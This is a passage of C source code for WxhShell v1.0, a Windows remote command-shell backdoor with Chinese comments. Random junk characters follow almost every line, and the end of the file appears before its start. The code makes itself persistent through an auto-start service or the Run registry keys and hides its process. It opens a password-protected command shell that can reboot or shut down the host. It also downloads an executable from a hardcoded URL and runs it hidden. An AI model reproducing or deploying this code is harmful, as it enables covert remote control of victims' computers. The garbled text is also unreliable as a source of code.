DWORD BasePriority; . (*kgv@3x
ULONG UniqueProcessId; H^PqYLjN
ULONG InheritedFromUniqueProcessId; _
kSPUP5
} PROCESS_BASIC_INFORMATION; +V+*7s%fL
r~G]2*3
PROCNTQSIP NtQueryInformationProcess; h[ZN >T
A;WwS?fyQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [T[9*6Kt
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BXK::M+
Ril21o! j
HANDLE hProcess; &Wz`>qYL*
PROCESS_BASIC_INFORMATION pbi; BUA6(
n:^"[Le
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5ih"Nds[H
if(NULL == hInst ) return 0; !ga(L3vf
Z(k\J|&9C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YK?*7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gz[ymj)5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t3#H@0<
F2PLy
q
if (!NtQueryInformationProcess) return 0; tC@zM.v%
mQ^@ \s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o&XMgY~
if(!hProcess) return 0; w^'?4M!
r0g/ :lJi
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 97]a-)SA
S-LZ(o{ZL
CloseHandle(hProcess); SC
$`
>SxZ9T|%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m]=oaj@9
if(hProcess==NULL) return 0; iy.%kHC
@
Zgl>
HMODULE hMod; 3gI[]4lRH
char procName[255]; Z?~d']XD
unsigned long cbNeeded; e:GgA
Id.Z[owC`Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rxy{a
|:e|~sism
CloseHandle(hProcess); csdOIF
u$%D9Z ^
if(strstr(procName,"services")) return 1; // 以服务启动 g",w kO|
d(DX(xg
return 0; // 注册表启动 :<t{ =0G
} 8G5)o`
Nr]8P/[~
// 主模块 )pZekh]v
int StartWxhshell(LPSTR lpCmdLine) te\h?H
{ 7dlKdKH
SOCKET wsl; N7~)qqb
BOOL val=TRUE; rZ!Yi*? f
int port=0; :<N6i/
struct sockaddr_in door; RhV:Z3f`6
&G
pA1
if(wscfg.ws_autoins) Install(); jr[<i\!
| ,1bkJt
port=atoi(lpCmdLine); U7]<U-.&
hSkc9jBF
if(port<=0) port=wscfg.ws_port; W3jXZ>
0tW<LR-}E
WSADATA data; Pn+IJ=0Y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &'huS?gA9
J~iOP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W8G9rB|T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MS st
door.sin_family = AF_INET; b@2Cll#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &PRx,G5
door.sin_port = htons(port); F%PwIB~cy
0HHui7Yy>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uOG-IHuF
closesocket(wsl); 43J\8WBn@
return 1; $c@w$2
} 83
i1
Z@uTkqG)
if(listen(wsl,2) == INVALID_SOCKET) { q6C6PPc
closesocket(wsl); eC>"my`
return 1; 8:P*z
} Zp7yaz3y
Wxhshell(wsl); A[^qq UL'
WSACleanup(); jF38kj3O7
c?!YFm
return 0; /lS+J(I
kfqpI
} 4-7kS85
|RR%bQ^{
// 以NT服务方式启动 Cdp]Nv6
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4?>18%7&
{ I!$jYY2
DWORD status = 0; tjZ \h=
DWORD specificError = 0xfffffff; i<4>\nc
pKt-R07*
serviceStatus.dwServiceType = SERVICE_WIN32; :M22P`:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fJ)N:q`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fg9?3x
Z
serviceStatus.dwWin32ExitCode = 0; :W.jNV{e\F
serviceStatus.dwServiceSpecificExitCode = 0; 0T9@,scY
serviceStatus.dwCheckPoint = 0; [F/^J|VMV
serviceStatus.dwWaitHint = 0; ex`
xkZ+
*'9)H0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gEr4zae
if (hServiceStatusHandle==0) return; Si?$\H*:
<i_>
y~v`
status = GetLastError(); x],8yR)R
if (status!=NO_ERROR) [!1)mR
{ L@{!r=%_>
serviceStatus.dwCurrentState = SERVICE_STOPPED; _ yfdj[Ot`
serviceStatus.dwCheckPoint = 0; X5uS>V%/
serviceStatus.dwWaitHint = 0; ] vC=.&]
serviceStatus.dwWin32ExitCode = status; "wA0 LH_
serviceStatus.dwServiceSpecificExitCode = specificError;
2[Z0I4r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a'@-"qk
return; $h G;2v
} I86e&"40
s<A*[
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q~fwWp-J
serviceStatus.dwCheckPoint = 0; hq/J6 M
serviceStatus.dwWaitHint = 0; )t|^Nuj8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )n\*ht7
} SU?wFCGT%
i(Ip(n
// 处理NT服务事件,比如:启动、停止 p=!#],[
VOID WINAPI NTServiceHandler(DWORD fdwControl) `9.dgV
{ aB6Ye/Io
switch(fdwControl) 1<xcMn0et
{ KxO/]
case SERVICE_CONTROL_STOP: ]>tq|R78
serviceStatus.dwWin32ExitCode = 0; ;yF[2P ;
serviceStatus.dwCurrentState = SERVICE_STOPPED; H4M{_2DO
serviceStatus.dwCheckPoint = 0; NH'1rt(w
serviceStatus.dwWaitHint = 0; Eo%UuSi
{ BG'6;64kx6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8AT;8I<K
} 2HcsQ*H]G
return; ds-
yif6
case SERVICE_CONTROL_PAUSE: SHMl%mw
serviceStatus.dwCurrentState = SERVICE_PAUSED; _h0-
break; c {1V.
case SERVICE_CONTROL_CONTINUE: ?22d},.
serviceStatus.dwCurrentState = SERVICE_RUNNING; mfXD1]<.
break; `.{U-U\
case SERVICE_CONTROL_INTERROGATE: ; D1FAz
break; pG/
NuImA
}; H76E+AY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<vvxi
} Vy]A,Rn7
>&bv\R/
// 标准应用程序主函数 Rr%tbt.sE
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $bk>kbl P
{ \X&]FZ(*
@u,+F0Yd
// 获取操作系统版本 KwS`3 6:
OsIsNt=GetOsVer(); iJ}2"i7M
GetModuleFileName(NULL,ExeFile,MAX_PATH); m&Lt6_vi
Z.!g9fi8>
// 从命令行安装 HtxLMzgz<<
if(strpbrk(lpCmdLine,"iI")) Install(); brb[})}
j5kA^MTG
// 下载执行文件 ^w>&?A'!
if(wscfg.ws_downexe) { f2NA=%\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vCj4;P g
WinExec(wscfg.ws_filenam,SW_HIDE); Hw Z^D=A
} |Eb&}m:E$
xJ-*%'(KZ
if(!OsIsNt) { UmJUt|
// 如果时win9x,隐藏进程并且设置为注册表启动 Zp`~}LV{
HideProc(); My. dD'C
StartWxhshell(lpCmdLine); C1 W>/?XC
} d7E7f
else djUihcqA`
if(StartFromService()) lqF>=15
// 以服务方式启动 8$ic~eJ
StartServiceCtrlDispatcher(DispatchTable); (wife#)~
else hGvq T, '
// 普通方式启动 ,s0
9B
StartWxhshell(lpCmdLine); @d&g/ccMxd
'GkvUrD9D$
return 0; <KtBv Ip]
} 5:c;RRn
+kM\
D~D1
`4LJ;KC(
;d4y{
=========================================== `qE4U4
J;~E<_"Hn
N r<9u$d9=
OZ^h\m4
V7:\q^$
r&SO:#rOSM
" !nwbj21%
SZ/(\kQ6
#include <stdio.h> \*uugw,\y
#include <string.h> bhYU5I 9
#include <windows.h> ha5e(Hj?
#include <winsock2.h> G;NB\3~X
#include <winsvc.h> ]oEQ4
#include <urlmon.h> AuAT]`
B%fU'
#pragma comment (lib, "Ws2_32.lib") (-\]A|
#pragma comment (lib, "urlmon.lib") /l^y}o %?
`NQ{)N0!
#define MAX_USER 100 // 最大客户端连接数 ijFV<P
#define BUF_SOCK 200 // sock buffer IP04l;p/
#define KEY_BUFF 255 // 输入 buffer ehE-SrkU'
-,^WaB7u\
#define REBOOT 0 // 重启 %*jGim~s
#define SHUTDOWN 1 // 关机 :W~f;k
eES'}[W>
#define DEF_PORT 5000 // 监听端口 "qS!B.rt:
;1@C_5C
#define REG_LEN 16 // 注册表键长度 ^7Lk-a7gp
#define SVC_LEN 80 // NT服务名长度 !Av1Leb9$
-KiRj!v|
// 从dll定义API EL7T'zJ$
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .a,(pq Jg
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F$h'p4$T
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ds]?;l"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |<rfvsQ.
`E W!-v)
// wxhshell配置信息 <1
S+'
struct WSCFG { _s*!
t
int ws_port; // 监听端口 ra]:$XJ5=a
char ws_passstr[REG_LEN]; // 口令 %K?iNe
int ws_autoins; // 安装标记, 1=yes 0=no .fEwk
char ws_regname[REG_LEN]; // 注册表键名 Ukc'?p,*
char ws_svcname[REG_LEN]; // 服务名 jn$j^51`C
char ws_svcdisp[SVC_LEN]; // 服务显示名 wWTQ6~Y%d
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e\r7BW\Y
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pDOM:lGya
int ws_downexe; // 下载执行标记, 1=yes 0=no K6hfauWd[
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hO6RQ0Iv@
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0wFh%/:
-L8YJ8J6
}; ~M*gsW$
y"-{$ N
// default Wxhshell configuration 4)^vMG&
struct WSCFG wscfg={DEF_PORT,
RL*]g*
"xuhuanlingzhe", TT7PQf >
1, (B:uc_+
"Wxhshell", {2:d`fqD
"Wxhshell", ]G*$W+G]
"WxhShell Service", /lJjQ]c;>
"Wrsky Windows CmdShell Service", 59i]
"Please Input Your Password: ", zh%qS~8Yv
1, 2ce'fMV
"http://www.wrsky.com/wxhshell.exe", #ZlM?Q
"Wxhshell.exe" ;&
~929
}; !BUi)mo
6e#wR/
// 消息定义模块 Cw#V`70a
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Fw?{0
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZMdW2_*F
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fa{@$ppx
char *msg_ws_ext="\n\rExit."; 6V2j*J
char *msg_ws_end="\n\rQuit."; B\[-fq
char *msg_ws_boot="\n\rReboot..."; &z>q#'X;.
char *msg_ws_poff="\n\rShutdown..."; EwQae(PpA
char *msg_ws_down="\n\rSave to "; :B.G)M\
fhRjYYGI
char *msg_ws_err="\n\rErr!"; F\LsI;G
char *msg_ws_ok="\n\rOK!"; TatMf;?h&
oy5+}`
char ExeFile[MAX_PATH]; L/x(RCD
int nUser = 0; L\L"mc|O
HANDLE handles[MAX_USER]; 7|Dn+=
int OsIsNt; lw[<STpD;
([KN*OF
SERVICE_STATUS serviceStatus; XG&K32_fs
SERVICE_STATUS_HANDLE hServiceStatusHandle; X NE+(Bt
}0;Sk(B>
// 函数声明 C[8Kl D
int Install(void); \Y e%o}.{
int Uninstall(void); iBoEZEHjw
int DownloadFile(char *sURL, SOCKET wsh); <hv7s,i
int Boot(int flag); lFfXWNb
void HideProc(void); .C= I^
int GetOsVer(void); e$|VG*
d
int Wxhshell(SOCKET wsl); aZKXD! 4
void TalkWithClient(void *cs); c'05{C
int CmdShell(SOCKET sock); 2~FPw{]j
int StartFromService(void); y|sma;D
int StartWxhshell(LPSTR lpCmdLine); {mSJUK?TKl
e4[) WNR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dy:d=Z
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Adsq8sFW
7'OPjtM
// 数据结构和表定义 H$tb;:
SERVICE_TABLE_ENTRY DispatchTable[] = ezZph"&
{ Ttv'k*$cP
{wscfg.ws_svcname, NTServiceMain}, O]qPmEj
{NULL, NULL} v!trsjb
}; `?uPn~,e8
+< KNY
// 自我安装 uD(t`W"
int Install(void) VAKy^nR5j
{ xl2g0?
char svExeFile[MAX_PATH]; 1;Xgc@
HKEY key; m r4b
strcpy(svExeFile,ExeFile); "'A"U
dJl^ADX[@
// 如果是win9x系统,修改注册表设为自启动 ({M?Q>s
if(!OsIsNt) { [H,u)8)
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !8$RBD %
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YqU/\f+
RegCloseKey(key); GuO`jz F
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f1Zt?=
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kCA5|u
RegCloseKey(key); ?/d!R]3
return 0; wL2XNdo}<
} D1Yh,P<CF\
} ``9 GY
} ^,V[nfQR
else { xvDI 4x&
q#vlBL
// 如果是NT以上系统,安装为系统服务 ,%hj cGX11
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); };sMU6e
if (schSCManager!=0) <*Y'lV
{ GBbh ar},g
SC_HANDLE schService = CreateService DB@EVH
( ]0/p 7N14
schSCManager, ]MAT2$"le
wscfg.ws_svcname, A*'V+(
wscfg.ws_svcdisp, ;fGx;D
SERVICE_ALL_ACCESS, U)[ty@zyF
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ro r2qDF
SERVICE_AUTO_START, LC-)'Z9}5
SERVICE_ERROR_NORMAL, (vQ+e
svExeFile, U:|H9+5
NULL, J&6:d
NULL, Gzm$OHbn
NULL, s;{K!L@
NULL, ez*jjm
NULL iP "EA8
); (
v@jc8y
if (schService!=0) VJ{pN ~_1
{ SI*^f\lu
CloseServiceHandle(schService); \!H{Ks{#R.
CloseServiceHandle(schSCManager); B*@6xS[IL
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dg2uE8k
strcat(svExeFile,wscfg.ws_svcname); V8"Wpl9Cz
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0YS?=oi
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QIV%6q+*R
RegCloseKey(key); s#^pC*,'
return 0; k/lFRi-i
} iZ;TYcT
} np6HUH
CloseServiceHandle(schSCManager); ]}2Ztr)zZ
} sR*Nq5F#9
} '[Gm8K5
s[c^"@HT
return 1; {4rQ7J4Ux
} qtzRCA!9(Z
{L0;{
// 自我卸载 ^?"^Pmw
int Uninstall(void) ;V.vfar
{ r4;Bu<PQN1
HKEY key; !T'X
'Q
nq;#_Rkr
if(!OsIsNt) { 7Dt"]o"+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wUp)JI
RegDeleteValue(key,wscfg.ws_regname); P*G+eqX
RegCloseKey(key); r4eUZ .8R
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RP`
`mI
RegDeleteValue(key,wscfg.ws_regname); ?_ RYqolz
RegCloseKey(key); X+ f9q0
return 0; rsF:4G"%
} JBcY!dy-d
} TzM=LvA
} 2QayM?k8
else { (0jr;jv
#":a6%0Q
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7g6RiH}
if (schSCManager!=0) 59!)j>f
{ fLB1)kTS
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \&q=@rJp(z
if (schService!=0) .3wY\W8Dr-
{ {}\CL#~y
if(DeleteService(schService)!=0) { GLh]G(
CloseServiceHandle(schService); D1X{:#|
CloseServiceHandle(schSCManager); ]\;xN~l
return 0; BaL]mIx
} A=`*r*
CloseServiceHandle(schService); <qY5SV,
} crn k|o
CloseServiceHandle(schSCManager); ;^-:b(E
} [7\>"v6
} r
nBOj#N
}uQ${]&D
return 1; Do;#NLrWb
} yJD>ny
y1,5$0@G
// 从指定url下载文件 U e*$&VlT
int DownloadFile(char *sURL, SOCKET wsh) r!K|E95oj9
{ &!1}`4$[T
HRESULT hr; R6@uM<